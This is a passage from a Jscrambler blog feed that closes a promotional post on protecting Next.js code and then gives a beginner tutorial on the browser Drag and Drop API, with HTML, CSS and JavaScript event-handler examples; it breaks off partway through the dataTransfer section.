&lt;p&gt;Next.js has truly been a rising star in the web development ecosystem. The 4-year-old framework has been growing rapidly and bringing several welcome features for developers, making it much easier to release production-ready applications.&lt;/p&gt;

&lt;p&gt;If you're building Next.js applications which have sensitive logic, want to prevent &lt;strong&gt;reverse-engineering, licensing violations, and tampering&lt;/strong&gt;, a security solution such as Jscrambler is a must.&lt;/p&gt;

&lt;p&gt;Integrating Jscrambler into Next.js's build process is simple and enables protecting your code with the most sophisticated &lt;strong&gt;polymorphic obfuscation&lt;/strong&gt;, &lt;strong&gt;code locks&lt;/strong&gt;, and &lt;strong&gt;self-defensive&lt;/strong&gt; capabilities.&lt;/p&gt;

&lt;p&gt;This all comes with premium support, so be sure to &lt;a href="https://jscrambler.com/contact?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=next-js"&gt;contact us&lt;/a&gt; if you have any questions!&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>nextjs</category>
      <category>appsecurity</category>
    </item>
    <item>
      <title>Build a Simple Game in Vanilla JS With the Drag and Drop API</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Tue, 21 Sep 2021 16:54:14 +0000</pubDate>
      <link>https://forem.com/jscrambler/build-a-simple-game-in-vanilla-js-with-the-drag-and-drop-api-58lf</link>
      <guid>https://forem.com/jscrambler/build-a-simple-game-in-vanilla-js-with-the-drag-and-drop-api-58lf</guid>
      <description>&lt;p&gt;The JavaScript language lives in a browser. Actually, let's rephrase that: a web browser has a separate part inside of it, called the JavaScript engine. This engine can understand and run JS code.&lt;/p&gt;

&lt;p&gt;There are many other separate parts that, altogether, make up the browser. These parts are different Browser APIs, also known as Web APIs. The JS engine is there to facilitate the execution of the JS code we write. Writing JS code is a way for us (developers) to access various functionalities that exist in the browser and that are exposed to us via Browser APIs.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is a Web API?
&lt;/h2&gt;

&lt;p&gt;Web APIs are known as "browser features". Arguably, the most popular of these various browser features⁠—at least for JavaScript developers⁠—is the browser console. The Console API allows us to log out the values of variables in our JavaScript code. Thus, we can manipulate values in our JS code and log out these values to verify that a specific variable holds a specific (expected) value at a certain point in the thread of execution, which is great for debugging. If you've spent any significant amount of time with the JS language, this should all be pretty familiar.&lt;/p&gt;

&lt;p&gt;What some beginner JavaScript developers do not comprehend is the big picture of the browser having a large number of these "browser features" built-in⁠—and accessible to us via various JavaScript “facade” methods: methods that look like they’re just a part of the language itself, but are actually “facades” for features outside of the JS language itself. Some examples of widely used Web APIs are the DOM API, the Canvas API, the Fetch API, etc.&lt;/p&gt;

&lt;p&gt;The JavaScript language is set up in such a way that we can't immediately infer that the functionality we're using is in fact a browser feature. For example, when we say:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;heading&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;main-heading&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... we're actually hooking into a browser feature⁠—but there's no way of knowing this since it looks like regular JS code.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Drag and Drop Web API
&lt;/h2&gt;

&lt;p&gt;To understand how the Drag and Drop API works, and to effectively use it, all we have to do is know some basic concepts and methods it needs. Similar to how most front-end developers are familiar with the example from the previous section (namely, &lt;code&gt;document.getElementById&lt;/code&gt;), we need to learn:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the basic concepts of the Drag and Drop Web API;&lt;/li&gt;
&lt;li&gt;at least a few basic methods and commands.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first important concept related to the Drag and Drop API is the concept of the source and target elements.&lt;/p&gt;

&lt;h3&gt;
  
  
  Source and Target Elements
&lt;/h3&gt;

&lt;p&gt;There are built-in browser behaviors that determine how certain elements will behave when a user clicks and drags them on the viewport. For example, if we try click-dragging the intro image of this very tutorial, we'll see a behavior it triggers: the image will be displayed as a semi-transparent thumbnail, on the side of our mouse pointer, following the mouse pointer for as long as we hold the click. The mouse pointer also changes to the following style:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;cursor&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;grabbing&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We've just shown an example of an element becoming a &lt;strong&gt;source element&lt;/strong&gt; for a drag-and-drop operation. The target of such an operation is known as the &lt;strong&gt;target element&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Before we cover an actual drag and drop operation, let's have a quick revision of events in JS.&lt;/p&gt;

&lt;h2&gt;
  
  
  Events in JS: A Quick Revision
&lt;/h2&gt;

&lt;p&gt;We could go as far as saying that events are the foundation on which all our JavaScript code rests. As soon as we need to do something &lt;strong&gt;interactive&lt;/strong&gt; on a web page, events come into play.&lt;/p&gt;

&lt;p&gt;In our code, we listen for: mouse clicks, mouse hovers (mouseover events), scroll events, keystroke events, document loaded events...&lt;/p&gt;

&lt;p&gt;We also write &lt;strong&gt;event handlers&lt;/strong&gt; that take care of executing some JavaScript code to handle these events.&lt;/p&gt;

&lt;p&gt;We say that we listen for events firing and that we write event handlers for the events being fired.&lt;/p&gt;

&lt;h2&gt;
  
  
  Describing a Drag and Drop Operation, Step By Step
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The HTML and CSS
&lt;/h3&gt;

&lt;p&gt;Let's now go through a minimal drag and drop operation. We'll describe the theory and concepts behind this operation as we go through each step.&lt;/p&gt;

&lt;p&gt;The example is as easy as can be: there are two elements on a page. They are styled as boxes. The first one is a little box and the second one is a big box.&lt;/p&gt;

&lt;p&gt;To make things even easier to comprehend, let's "label" the first box as "source", and the second one as "target":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"source"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Source&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"target"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Target&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
    &lt;span class="nf"&gt;#source&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;wheat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;20px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;text-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;#target&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#abcdef&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;360px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;180px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;20px&lt;/span&gt; &lt;span class="m"&gt;40px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;text-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin-top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;box-sizing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;border-box&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A little CSS caveat above: to avoid the added border width increasing the width of the whole target &lt;code&gt;div&lt;/code&gt;, we’ve added the CSS property-value pair of &lt;code&gt;box-sizing: border-box&lt;/code&gt; to the &lt;code&gt;#target&lt;/code&gt; CSS declaration. Thus, the target element has consistent width, regardless of whether our drag event handlers are running or not.&lt;/p&gt;

&lt;p&gt;The output of this code is fairly straightforward:&lt;/p&gt;

&lt;center&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.jscrambler.com%2Fcontent%2Fimages%2F2021%2F08%2Fjscrambler-blog-build-a-game-in-js-1.png" alt="jscrambler-blog-build-a-game-in-js-1"&gt;&lt;/center&gt;

&lt;h3&gt;
  
  
  Convert the “Plain” HTML Element Into a Drag and Drop Source Element
&lt;/h3&gt;

&lt;p&gt;To do this, we use the &lt;code&gt;draggable&lt;/code&gt; attribute, like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"source"&lt;/span&gt; &lt;span class="na"&gt;draggable=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Source&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What this little addition does is changing the behavior of the element. Before we added the &lt;code&gt;draggable&lt;/code&gt; attribute, if a user click-dragged on the Source &lt;code&gt;div&lt;/code&gt;, they'd likely just highlight the text of the &lt;code&gt;div&lt;/code&gt; (i.e the word "Source")⁠—as if they were planning to select the text before copying it.&lt;/p&gt;

&lt;p&gt;However, with the addition of the &lt;code&gt;draggable&lt;/code&gt; attribute, the element changes its behavior and behaves exactly like a regular HTML &lt;code&gt;img&lt;/code&gt; element — we even get that little &lt;code&gt;grabbed&lt;/code&gt; cursor⁠—giving an additional signal that we've triggered the drag-and-drop functionality.&lt;/p&gt;

&lt;h3&gt;
  
  
  Capture Drag and Drop Events
&lt;/h3&gt;

&lt;p&gt;There are 8 relevant events in this API:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;drag&lt;/li&gt;
&lt;li&gt;dragstart&lt;/li&gt;
&lt;li&gt;dragend&lt;/li&gt;
&lt;li&gt;dragover&lt;/li&gt;
&lt;li&gt;dragenter&lt;/li&gt;
&lt;li&gt;dragleave&lt;/li&gt;
&lt;li&gt;drop&lt;/li&gt;
&lt;li&gt;dragend&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;During a drag and drop operation, a number of the above events can be triggered: maybe even all of them. However, we still need to write the code to react to these events, using event handlers, as we will see next.&lt;/p&gt;

&lt;h3&gt;
  
  
  Handling the Dragstart and Dragend Events
&lt;/h3&gt;

&lt;p&gt;We can begin writing our code easily. To specify which event we’re handling, we’ll just add an &lt;code&gt;on&lt;/code&gt; prefix.&lt;/p&gt;

&lt;p&gt;For example, in our HTML code snippet above, we’ve turned a “regular” HTML element into a source element for a drag-and-drop operation. Let’s now handle the &lt;code&gt;dragstart&lt;/code&gt; event, which fires as soon as a user has started dragging the source element:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;sourceElem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;source&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;sourceElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragstart&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;confirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Are you sure you want to move this element?&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All right, so we’re reacting to a &lt;code&gt;dragstart&lt;/code&gt; event, &lt;em&gt;i.e.&lt;/em&gt; we’re handling the &lt;code&gt;dragstart&lt;/code&gt; event.&lt;/p&gt;

&lt;p&gt;Now that we know we can handle the event, let’s react to the event firing by changing the styles of the source element and the target element.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;sourceElem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;source&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;targetElem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;target&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;sourceElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragstart&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;currentTarget&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;opacity:0.3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;targetElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;border: 10px dashed gray;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, we’re handling the &lt;code&gt;dragstart&lt;/code&gt; event by making the source element see-through, and the target element gets a big dashed gray border so that the user can more easily see what we want them to do.&lt;/p&gt;

&lt;p&gt;It’s time to undo the style changes when the &lt;code&gt;dragend&lt;/code&gt; event fires (&lt;em&gt;i.e.&lt;/em&gt; when the user releases the hold on the left mouse button):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;sourceElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragend&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;sourceElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;opacity: 1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;targetElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;border: none&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, we’ve used a slightly different syntax to show that there are alternative ways of updating the styles on both the source and the target elements. For the purposes of this tutorial, it doesn’t really matter what kind of syntax we choose to use.&lt;/p&gt;

&lt;h3&gt;
  
  
  Handling the Dragover and Drop Events
&lt;/h3&gt;

&lt;p&gt;It’s time to deal with the &lt;code&gt;dragover&lt;/code&gt; event. This event is fired from the target element.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;targetElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragover&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All we’re doing in the above function is preventing the default behavior (which is opening as a link for specific elements). In a nutshell, we’re setting the stage for being able to perform some operation once the &lt;code&gt;drop&lt;/code&gt; event is triggered.&lt;/p&gt;

&lt;p&gt;Here’s our &lt;code&gt;drop&lt;/code&gt; event handler:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;targetElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;drop&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DROP!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Currently, we’re only logging out the string &lt;code&gt;DROP!&lt;/code&gt; to the console. This is good enough since it’s proof that we’re going in the right direction.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Sidenote&lt;/strong&gt;: notice how some events are emitted from the source element, and some other events are emitted from the target element. Specifically, in our example, the &lt;code&gt;sourceElem&lt;/code&gt; element emits the &lt;code&gt;dragstart&lt;/code&gt; and the &lt;code&gt;dragend&lt;/code&gt; events, and the &lt;code&gt;targetElem&lt;/code&gt; emits the &lt;code&gt;dragover&lt;/code&gt; and &lt;code&gt;drop&lt;/code&gt; events.
&lt;/h2&gt;

&lt;p&gt;Next, we’ll use the &lt;code&gt;dataTransfer&lt;/code&gt; object to move the source element onto the target element.&lt;/p&gt;

&lt;h2&gt;
  
  
  Utilize The dataTransfer Object
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;dataTransfer&lt;/code&gt; object “lives” in an instance of the Event object⁠—which is built-in to any event. We don’t have to “build” the event object⁠—we can simply pass it to the anonymous event handler function⁠—since functions are “first-class citizens” in JS (meaning: we can pass them around like any other value)⁠—this allows us to pass anonymous functions to event handlers, such as the example we just saw in the previous section.&lt;/p&gt;

&lt;p&gt;In that piece of code, the second argument we passed to the &lt;code&gt;addEventListener()&lt;/code&gt; method is the following anonymous function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DROP!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;event&lt;/code&gt; argument is a built-in object, an instance of the &lt;code&gt;Event&lt;/code&gt; object. This &lt;code&gt;event&lt;/code&gt; argument comes with a number of properties and methods, including the &lt;code&gt;dataTransfer&lt;/code&gt; property⁠, which itself is an object.&lt;/p&gt;

&lt;p&gt;In other words, we have the following situation (warning: pseudo-code ahead!):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="nx"&gt;stopPropagation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="nx"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important thing to conclude from the above structure is that the &lt;code&gt;event&lt;/code&gt; object is just a JS object holding other values, including nested objects and methods. The &lt;code&gt;dataTransfer&lt;/code&gt; object is just one such nested object, which comes with its own set of properties/methods.&lt;/p&gt;

&lt;p&gt;In our case, we’re interested in the &lt;code&gt;setData()&lt;/code&gt; and &lt;code&gt;getData()&lt;/code&gt; methods on the &lt;code&gt;dataTransfer&lt;/code&gt; object.&lt;/p&gt;

&lt;h3&gt;
  
  
  The &lt;code&gt;setData()&lt;/code&gt; and &lt;code&gt;getData()&lt;/code&gt; Methods on The &lt;code&gt;dataTransfer&lt;/code&gt; Object
&lt;/h3&gt;

&lt;p&gt;To be able to successfully “copy” the source element onto the target element, we have to perform a few steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;We need to hook into an event handler for an appropriate drag-and-drop related event, as it emits from the source object;&lt;/li&gt;
&lt;li&gt;Once we’re hooked into that specific event (&lt;em&gt;i.e.&lt;/em&gt; once we’ve completed the step above), we’ll need to use the &lt;code&gt;event.dataTransfer.setData()&lt;/code&gt; method to pass in the relevant HTML⁠—which is, of course, the source element;&lt;/li&gt;
&lt;li&gt;We’ll then hook into an event handler for another drag-and-drop event⁠—this time, an event that’s emitting from the target object;&lt;/li&gt;
&lt;li&gt;Once we’re hooked into the event handler in the previous step, we’ll need to get the data from step two, using the following method: &lt;code&gt;event.dataTransfer.getData()&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That’s all there is to it! To reiterate, we’ll:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Hook into the &lt;code&gt;dragstart&lt;/code&gt; event and use the &lt;code&gt;event.dataTransfer.setData()&lt;/code&gt; to pass in the source element to the &lt;code&gt;dataTransfer&lt;/code&gt; object;&lt;/li&gt;
